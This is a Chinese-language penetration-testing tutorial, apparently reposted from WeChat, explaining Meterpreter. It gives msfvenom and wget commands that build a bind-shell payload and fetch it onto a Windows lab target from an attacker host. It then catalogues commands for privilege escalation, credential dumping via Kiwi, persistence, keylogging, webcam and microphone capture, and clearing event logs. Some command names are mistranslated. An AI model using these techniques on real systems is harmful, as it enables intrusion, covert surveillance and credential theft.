如果您涉足过 Metasploit,您可能知道它包含一个名为 Meterpreter 的命令行工具,它是“Metasploit Interpreter”的缩写。这种先进的有效载荷自 2004 年以来一直是 Metasploit 的一部分,并且使用 C、PHP、Python 和 Java 实现。如果您想开始使用 Meterpreter 但不知道从哪里开始,请往下看:
在本文中,我们将了解 Meterpreter shell 是什么、它是否比反向 shell 更好,以及各种类别的 Meterpreter 命令,例如文件管理、网络监控、权限提升,甚至对目标硬件(例如他的屏幕)的远程访问。
什么是 Meterpreter Shell?
在您成功使用 Metasploit 利用目标之后,Meterpreter shell 会出现在攻击机器的终端中,让您可以访问目标的机器。
产生下图所示的图像的方法来自于使用 msfvenom 创建可执行文件,该文件通过虚拟机桥接适配器下载到目标机器。
通过双击可执行文件,目标连接到攻击者。
在攻击机(Kali Linux)上使用的命令:
msfvenom -p windows/meterpreter_bind_tcp LPORT=443 -f exe -o bind.exe
python3 -m http.server 8000
exploit multi/handler
use payload windows/meterpreter_bind_tcp
set rhost [target-ipv4]
exploit
Windows目标机的Powershell中使用的命令:
wget [attacker-ipv4]:8000/bind.exe -o bind.exe
netstat -an | findstr 443
让我们简单比较一下 Meterpreter shell 和标准反向 shell。Meterpreter Shell 比标准反向 Shell 好吗?
与标准反向 shell 相比,Meterpreter 具有更多功能,并且更加灵活。
通过 Meterpreter,您可以远程访问摄像头或麦克风,或者通过名为“kiwi”的模块轻松上传和使用 Mimikatz,这是另一个渗透测试工具。
此外,它允许您直接在目标机器上运行 Metasploit 模块,而不是将代码写入目标的硬盘并在那里运行。
另一方面,Meterpreter 是一种非常知名的黑客工具,正如预期的那样,防病毒和 IDS/IPS 解决方案有办法阻止它运行。
此外,Meterpreter基于Ruby语言框架,而标准反向shell可以使用各种脚本和shell语言,例如C,Python,Perl,PHP,bash和Powershell。
用于系统信息和管理的 Meterpreter 命令
Meterpreter 的系统信息和管理命令允许您收集有关目标系统的数据,以及管理其各个方面。以下是一些基本命令:
-
Sysinfo:显示目标操作系统信息,例如计算机名称、操作系统、系统架构等。
-
getuid:显示 Meterpreter 会话正在运行的用户 ID。
-
getpid:显示当前运行 Meterpreter 进程的进程 ID。
-
ps:提供目标系统上当前运行的进程列表,包括它们的 PID、进程名称和运行它们的用户。
-
kill:使用进程的 PID 终止目标系统上的特定进程。
-
reboot:重新启动目标系统。
-
shutdown:终止目标系统。
这些命令提供了一种通过 Meterpreter 管理和收集目标系统信息的基本但功能强大的方法。
用于网络的 Meterpreter 命令
Meterpreter 中的这些网络命令可帮助您了解目标的网络结构。以下是一些基本命令:
-
ipconfig:显示目标的网络设置,包括 IP 地址、子网和默认网关。
-
道路。:显示或修改目标的路由表,显示用于通过网络发送数据的路由。
-
arp:显示目标的ARP表,其中包括IP地址对应的MAC地址。
-
netstat:显示目标的活动网络连接,以及正在使用的端口、正在使用的协议和连接的状态。
-
portfwd:将目标的端口转发到攻击者,允许通过 Meterpreter 会话访问目标网络上的服务。
-
getproxy:显示目标的代理设置(如果有)。
-
Tcpdump:捕获网络数据包进行分析,从而监控目标网络上的流量。
-
pivot:创建一个枢轴,允许您将流量通过目标路由到同一网络上的其他计算机。
这些命令对于通过 Meterpreter 分析和了解目标的网络基础设施至关重要。
用于文件系统操作的 Meterpreter 命令
这些命令允许操作攻击者的机器(本地)和目标的机器(远程)上的文件和目录。bash 或 Windows cmd 中的许多文件系统命令也适用于 Meterpreter,而以小写“l”开头的命令(如“local”)特定于攻击者的机器。
以下是一些基本命令:
-
ls:显示目标当前目录中的文件和目录列表。
-
cd:将当前目录更改至目标目录。
-
pwd:显示目标中当前目录的路径。
-
mkdir:在目标上创建一个新目录。
-
rmdir:删除目标上的空目录。
-
rm:删除目标上的文件或目录。
-
upload:将文件从攻击者的机器上传到目标。
-
下载:将文件从目标下载到攻击者的机器。
-
rename:重命名目标上的文件或目录。
-
search:根据搜索条件在目标中搜索特定文件或目录。
-
l 命令*:以“l”开头的命令(例如lls、LCD、lpwd)应用于攻击者的机器,相当于在目标机器上使用上述命令。
这些命令提供了通过 Meterpreter 管理攻击者和目标机器上的文件和目录的必要功能。
用于管理用户和组的 Meterpreter 命令
其中一些命令(例如add_user)需要名为 incognito 的 Meterpreter 扩展(使用命令use incognito)。令牌是临时代码,可让您无需提供凭据即可访问目标的计算机和网络。本节以及下一节“权限升级”将介绍如何使用令牌。
以下是一些基本命令:
-
add_user:向目标系统添加新用户。需要隐身扩展才能运行。
-
add_group_user:将用户添加到目标上的用户组。
-
list_tokens -u:显示可用于在目标系统上模拟特定用户的可用用户令牌。
-
impersonate_token:使用特定的令牌模拟目标系统上的用户,并授予您该用户的访问权限。
-
drop_token:释放您正在使用的当前令牌并将权限返回给与 Meterpreter 连接的原始用户。
-
Setu:更改目标系统上的用户 ID 以模拟另一个用户。此命令在 Unix/Linux 环境中最常见。
这些命令允许您管理目标系统上的用户和组,而使用令牌可以帮助您获得并维持不同权限级别的访问权限。
用于升级权限的 Meterpreter 命令
以下是一些可以提升攻击者在目标机器上的权限的具体 Meterpreter 命令。在使用命令getsystem之前,应该加载扩展privs。
-
load privs:加载“privs”扩展,它添加了升级 Meterpreter 会话权限的命令。
-
getsystem:尝试提升攻击者在目标计算机上的权限,以获取管理员权限。它使用各种技术来实现此升级。
-
steal_token:从目标系统上的活动进程窃取令牌,允许攻击者使用自己的权限冒充该进程的用户。
-
使用隐身:加载隐身扩展,该扩展允许管理和模拟令牌以获得提升的权限。
-
list_tokens -u:显示可用于升级权限的可用用户令牌列表。
-
impersonate_token:使用令牌模拟特定用户,允许以该用户的权限进行访问。
-
bypassuac:绕过 Windows 机器上的用户帐户控制 (UAC),提供提升的访问权限。
这些命令对于提升攻击者在目标系统上的权限至关重要,从而允许更广泛地访问和控制目标机器。
用于持久性和横向移动的 Meterpreter 命令
黑客必须知道如何维护 Meterpreter 会话并在不同的虚拟空间之间移动,以获得更大的灵活性并避免被发现。Meterpreter 中的扩展Kiwi是 Mimikatz 的 2.0 版本。
以下是一些用于持久性和横向移动的基本命令:
-
run persistence:创建与目标的持久连接,这意味着如果 Meterpreter 会话丢失,它可以在下次重新启动系统时自动重新连接。
-
:将 Meterpreter 会话转移到目标机器上的另一个进程,通常是更稳定或更高权限的进程,以维持连接并避免被检测到。
-
运行 post/windows/manage/migrate:自动将 Meterpreter 会话迁移到更可靠的进程。
-
kiwi_cmd:通过 Kiwi 运行 Mimikatz 命令来提取凭据、管理令牌并维护访问。
-
creds_all:通过 Kiwi 扩展用于从目标系统收集所有可用的凭证。
-
golden_ticket:使用 Kiwi 创建黄金票证,使攻击者几乎可以无限制地访问目标网络。
-
pass_the_hash:执行传递哈希攻击,允许攻击者使用哈希而不是常规凭证向网络上的其他机器进行身份验证。
-
psexec:用于横向移动到网络上的其他机器,通过 SMB 执行远程命令。
这些命令允许攻击者保持对目标系统的访问并在网络内移动,以实现更大的灵活性并避免被发现。
用于数据记录和提取的 Meterpreter 命令
这里列出了一些用于从目标机器传输数据的命令。帮助菜单 (meterpreter > help) 提供了用于捕获目标的声音系统和摄像头的其他命令,例如play、record_mic和webcam_list。
以下是一些用于记录和导出数据的基本命令:
-
download:将文件从目标机器下载到攻击者的机器。使用它来提取感兴趣的文件。
-
upload:将文件从攻击者的机器上传到目标的机器。用于将文件或工具放置在目标机器上。
-
record_mic:从目标机器的麦克风捕获音频(如果可用)并将录音保存到文件。
-
webcam_list:显示目标可用摄像头的列表。
-
webcam_snap:从目标的相机拍摄照片。
-
webcam_stream:如果支持,则实时从目标摄像头流式传输视频。
-
play:在目标机器上播放音频文件。
这些命令允许从目标机器捕获和提取数据,以及使用音频和视频设备收集信息。
Meterpreter 命令:getdesktop、enumdesktops、screenshot、screenshare等。webcam_list和record_mic命令返回错误消息,因为目标虚拟机不具备这些功能。攻击者可以从目标 Windows 机器截取屏幕截图,在终端 kali@kali 后面,可以实时观看目标的屏幕。
Meterpreter 命令:keyscan_start、keyscan_dump、keyscan_stop 和 screenshare
以下是命令的描述:
-
keyscan_start:在目标机器上启动键盘记录。此命令记录目标用户的所有击键。
-
keyscan_dump:显示迄今为止保存的记录击键。使用此命令可以查看由命令keyscan_start记录的数据。
-
keyscan_stop:停止输入按键。执行此命令后,按键记录将停止,并且不会再记录任何按键。
-
screenshare:实时显示目标的屏幕,允许监控目标的屏幕活动。您可以使用此命令实时查看目标计算机上的用户活动,提供目标屏幕的实时视图。
这些命令允许攻击者记录击键并监视目标的屏幕,从而可以访问敏感信息和有关屏幕活动的实时信息。
用于隐藏和避免检测的 Meterpreter 命令
在道德黑客攻击期间,目标系统可能会自行捕获你。你能做些什么来防止或减少这种情况的后果?以下是一些可以帮助你的 Meterpreter 策略和命令:
-
clearev:清除目标的事件日志。这有助于隐藏系统日志中的攻击证据。
-
逃避:使用技术隐藏您的活动并减少安全系统(如防病毒和IDS/IPS)的检测。
-
持久性:创建与目标的持久连接,以确保即使在重新启动或其他恢复操作后也能恢复访问。
-
kill:终止可能背叛您或导致检测的进程。您可以终止与系统安全相关的进程。
-
已迁移:将 Meterpreter 会话移至不易被检测到的另一个进程。如果原始进程被标记为可疑进程,这有助于避免被检测到。
-
bypassuac:绕过 Windows 机器上的用户帐户控制 (UAC),减少被 UAC 检测到的机会。
-
webcam_list:显示目标可用的摄像头,以检查是否可以避免被摄像头检测到。
-
执行:在目标上执行命令以修改系统的行为并减少被发现的机会。
此外,持续监视目标的活动并根据当前情况调整隐身策略也很重要。隐身策略必须与巧妙的战术相结合,才能避免被发现。
其他 Meterpreter 命令
以下是一些有用的 Meterpreter 命令,它们属于上述一个或多个类别:
-
background:将 Meterpreter 会话返回到后台,允许您在会话保持活动状态时继续在终端中工作。
-
help:显示所有可用命令及其描述的列表,提供有关您可以使用的命令的信息。
-
exit:终止 Meterpreter 会话并关闭与目标系统的连接。
-
Sysinfo:提供有关目标系统的信息,例如计算机名称、操作系统版本和其他相关详细信息。
-
getuid:显示 Meterpreter 会话正在运行的用户 ID,帮助了解您拥有什么权限。
-
ps:显示目标系统上当前进程的列表,包括 PID、进程名称和运行它们的用户。
-
portfwd:配置端口转发,允许通过 Meterpreter 会话访问目标服务。
-
道路。:显示或修改目标的路由表,允许网络流量管理。
-
upload:将文件从攻击者的机器上传到目标的机器。
-
download:从目标机器下载文件到攻击者的机器。
-
webcam_snap:如果可用,则从目标的相机拍摄照片。
-
record_mic:如果存在,则从目标的麦克风录制音频。
-
execute:在目标系统上执行命令,提供远程执行功能。
-
迁移:将 Meterpreter 会话转移到另一个进程,通常是为了避免检测或保持访问。
-
clearev:清除目标的事件日志以删除攻击的痕迹。
这些命令涵盖了与目标系统交互的各个方面,并为有效执行攻击和管理访问提供了重要功能。
原文始发于微信公众号(KK安全说):Meterpreter:安(黑)全(客)的终极命令指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论